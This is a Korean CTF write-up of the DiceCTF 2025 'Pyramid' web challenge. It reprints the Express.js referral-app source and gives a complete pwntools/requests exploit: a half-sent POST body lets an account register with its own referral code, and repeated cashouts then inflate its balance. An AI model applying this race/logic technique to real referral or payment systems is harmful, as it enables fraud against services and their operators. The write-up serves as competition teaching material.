writeups by ch4nsec

[Dice CTF 2025] Pyramid

Dice CTF 2025에서 출제된 Pyramid 문제 풀이

#ctf#web#DiceCTF

문제 개요

dicectf_pyramid1

회원 등록을 한 뒤 들어가면

dicectf_pyramid2

잔액과 추천인(?) 수가 나온다. 몇몇 서비스에서 이용하는 추천인 서비스와 비슷해보인다.

if (user.bal > 100_000_000_000) {
            user.bal -= 100_000_000_000
            res.type('html').end(`
                ${css}
                <h1>Successful purchase</h1>
                <p>${process.env.FLAG}</p>
            `)
            return
        }

이를 통해 1000억 코인…을 모으면 성공

코드

const express = require('express')
const crypto = require('crypto')
const app = express()

const css = `
    <link
        rel="stylesheet"
        href="https://unpkg.com/axist@latest/dist/axist.min.css"
    >
`

const users = new Map()
const codes = new Map()

const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '&lt;')
const referrer = (code) => {
    if (code && codes.has(code)) {
        const token = codes.get(code)
        if (users.has(token)) {
            return users.get(token)
        }
    }
    return null
}

app.use((req, _res, next) => {
    const token = req.headers.cookie?.split('=')?.[1]
    if (token) {
        req.token = token
        if (users.has(token)) {
            req.user = users.get(token)
        }
    }
    next()
})

app.get('/', (req, res) => {
    res.type('html')

    if (req.user) {
        res.end(`
            ${css}
            <h1>Account: ${escape(req.user.name)}</h1>
            You have <strong>${req.user.bal}</strong> coins.
            You have referred <strong>${req.user.ref}</strong> users.

            <hr>

            <form action="/code" method="GET">
                <button type="submit">Generate referral code</button>
            </form>
            <form action="/cashout" method="GET">
                <button type="submit">
                    Cashout ${req.user.ref} referrals
                </button>
            </form>
            <form action="/buy" method="GET">
                <button type="submit">Purchase flag</button>
            </form>
        `)
    } else {
        res.end(`
            ${css}
            <h1>Register</h1>
            <form action="/new" method="POST">
                <input name="name" type="text" placeholder="Name" required>
                <input
                    name="refer"
                    type="text"
                    placeholder="Referral code (optional)"
                >
                <button type="submit">Register</button>
            </form>
        `)
    }
})

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

app.get('/code', (req, res) => {
    const token = req.token
    if (token) {
        const code = random()
        codes.set(code, token)
        res.type('html').end(`
            ${css}
            <h1>Referral code generated</h1>
            <p>Your code: <strong>${code}</strong></p>
            <a href="/">Home</a>
        `)
        return
    }
    res.end()
})

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

app.get('/buy', (req, res) => {
    if (req.user) {
        const user = req.user
        if (user.bal > 100_000_000_000) {
            user.bal -= 100_000_000_000
            res.type('html').end(`
                ${css}
                <h1>Successful purchase</h1>
                <p>${process.env.FLAG}</p>
            `)
            return
        }
    }
    res.type('html').end(`
        ${css}
        <h1>Not enough coins</h1>
        <a href="/">Home</a>
    `)
})

app.listen(3000)

풀이

접근 방식

일반적인 방식으로는 1000억이라는 횟수 자체를 채우는 것이 불가능하다. 속칭 돈복사가 일어나지 않는다면 안되는 영역이다. 말그대로 기하급수적으로 증가시킬 방법이 필요하다.

가끔 이렇게 잔액을 다루는 문제 유형에서, 자기 자신에게 송금하는 것이 가능해 자신의 잔액을 계속 불려나가는 것이 가능한 경우가 있다. 이 문제에서는 잔액을 불릴 수단이 추천인밖에 없기 때문에 이쪽을 생각해볼 필요가 있다.

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

잔액 증가 코드다. 본인의 추천코드를 입력하여 누군가 가입할 때마다 ref 값이 1씩 오른다. (이건 /new쪽에 있다.) 만약 본인이 추천 없이 가입했다면, 이 ref 값이 온전히 본인의 잔액으로 들어오지만, 본인도 누군가의 추천을 받아 들어왔을 경우(가입시 입력한 code가 존재할 경우), 이 ref 값에서 변환한 돈을 본인을 추천한 유저와 반씩 나눠가진다.

여기서 송금서비스 관련 문제유형의 아이디어가 떠올랐다. 만약 자기 자신이 추천인이라면?

공격 시나리오

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

회원등록 코드. 요청을 받아서 회원을 등록하고, token을 발급해준다. 그런데 추천인 코드를 받으려면 본인 token이 필요한데, token을 발급받은 뒤 코드를 등록하는 것이 가능한가? (실제로 여기서 시간이 제일 오래 걸렸다.)

그래서 찾다가 req.on()이 많이 못 보던 방식이어서 찾아보았다. 이거 async 함수였다.

app.get('/code', (req, res) => {
    const token = req.token
    if (token) {
        const code = random()
        codes.set(code, token)
        res.type('html').end(`
            ${css}
            <h1>Referral code generated</h1>
            <p>Your code: <strong>${code}</strong></p>
            <a href="/">Home</a>
        `)
        return
    }
    res.end()
})

추천코드를 받는 부분이다. 여기 은근슬쩍 유저의 존재 여부를 확인하지 않는다. token만 받은 뒤, 코드를 생성하여 token과 매핑만 시킨다. 실제로 아무 token이나 입력해도 code를 발급해줬다.

그러면

  1. /new에서 유저가 사용할 token을 받은 뒤
  2. /code에서 token을 이용해 추천코드를 받아
  3. /new에서 유저 정보+추천코드가 token과 같이 등록된다 면 본인의 추천코드로 본인이 등록하는 이상한 동작이 가능할 수는 있다.

exploit 코드 작성

처음 보낼 요청을 작성한다.

req = b'\r\n'.join([
    b'POST /new HTTP/1.1',
    b'Host: localhost:3000',
    b'Content-Length: 52', # 이후에 들어올 데이터까지의 길이
    b'Connection: keep-alive',
    b'',
    b'refer=', # 미완성
])

이때 body를 입력하지 않으면서, Content-Length의 값은 이후에 붙일 데이터까지 계산한 값을 넣는다.

r = remote('localhost', 3000)
r.send(req) # 미완성 요청 보내기
r.recvuntil(b'=') # set-cookie: token= 까지
token = r.recv(32).decode('utf-8')

response = requests.get('http://localhost:3000/code', cookies={'token': token}) # remote가 아닌 requests로 요청
refer = response.text.split('<strong>')[1][:32] # refer 받아오기

r.send(refer.encode('utf-8') + b'&name=testch4n') # 미완성 요청에 나머지 데이터 붙이기
r.close()

보통 요청을 보낼 땐 requests 모듈을 사용하는데, requests 모듈은 Content-Length 값을 알아서 지정하기도 하고, 연결을 유지한 상태로 다른 요청을 보낼 필요가 있기 때문에 pwntools 모듈을 활용했다.

위에서 작성한 미완성 요청을 보내고 token을 받아온 뒤, requests 모듈을 이용해 refer code를 받아온다. 그리고 받아온 코드는 send로 보내 이전에 보낸 요청에 붙도록 한 뒤 연결을 종료한다.

# 새로 유저를 만들어서 본인의 추천코드로 다른 유저 등록
requests.post('http://localhost:3000/new', data={'name': '1234', 'refer': refer})

이후 앞서 받은 code를 이용해 다른 유저를 생성하여 메인 유저의 refer 값을 하나 올려주었다. (본인의 추천코드를 사용하여 등록했을 땐 유저 등록 전이라 refer 값이 안오르더라)

<link
        rel="stylesheet"
        href="https://unpkg.com/axist@latest/dist/axist.min.css"
    >

            <h1>Account: aaaaaaaa</h1>
            You have <strong>0.5</strong> coins.
            You have referred <strong>1.5</strong> users.

            <hr>

            <form action="/code" method="GET">
                <button type="submit">Generate referral code</button>
            </form>
            <form action="/cashout" method="GET">
                <button type="submit">
                    Cashout 1.5 referrals
                </button>
            </form>
            <form action="/buy" method="GET">
                <button type="submit">Purchase flag</button>
            </form>

뭔가 돈이 이상하게 오르는 것을 확인했다.

# 돈복사
for _ in range(63):
    requests.get('http://localhost:3000/cashout', cookies={'token': token})

# flag
response = requests.get('http://localhost:3000/buy', cookies={'token': token})
print(response.text.split('<p>')[1].split('</p>')[0])

이후 /cashout을 충분히 한 뒤 flag를 가져오는 것으로 마무리

전체 exploit 코드

import requests
from pwn import *

# 요청 만들기
req = b'\r\n'.join([
    b'POST /new HTTP/1.1',
    b'Host: localhost:3000',
    b'Content-Length: 52', # 이후에 들어올 데이터까지의 길이
    b'Connection: keep-alive',
    b'',
    b'refer=', # 미완성
])

r = remote('localhost', 3000)
r.send(req) # 미완성 요청 보내기
r.recvuntil(b'=') # set-cookie: token= 까지
token = r.recv(32).decode('utf-8')

response = requests.get('http://localhost:3000/code', cookies={'token': token}) # remote가 아닌 requests로 요청
refer = response.text.split('<strong>')[1][:32] # refer 받아오기

r.send(refer.encode('utf-8') + b'&name=testch4n') # 미완성 요청에 나머지 데이터 붙이기
r.close()

# 새로 유저를 만들어서 본인의 추천코드로 다른 유저 등록
requests.post('http://localhost:3000/new', data={'name': '1234', 'refer': refer})

# 돈복사
for _ in range(63):
    requests.get('http://localhost:3000/cashout', cookies={'token': token})

response = requests.get('http://localhost:3000/buy', cookies={'token': token})

# flag
print(response.text.split('<p>')[1].split('</p>')[0])

flag 획득

dicectf_pyramid3

위에서 돈복사한 유저의 token으로 접속했을 때 이렇게 돈이 엄청 많아진 것을 확인할 수 있었다.

dicectf_pyramid4
플래그 획득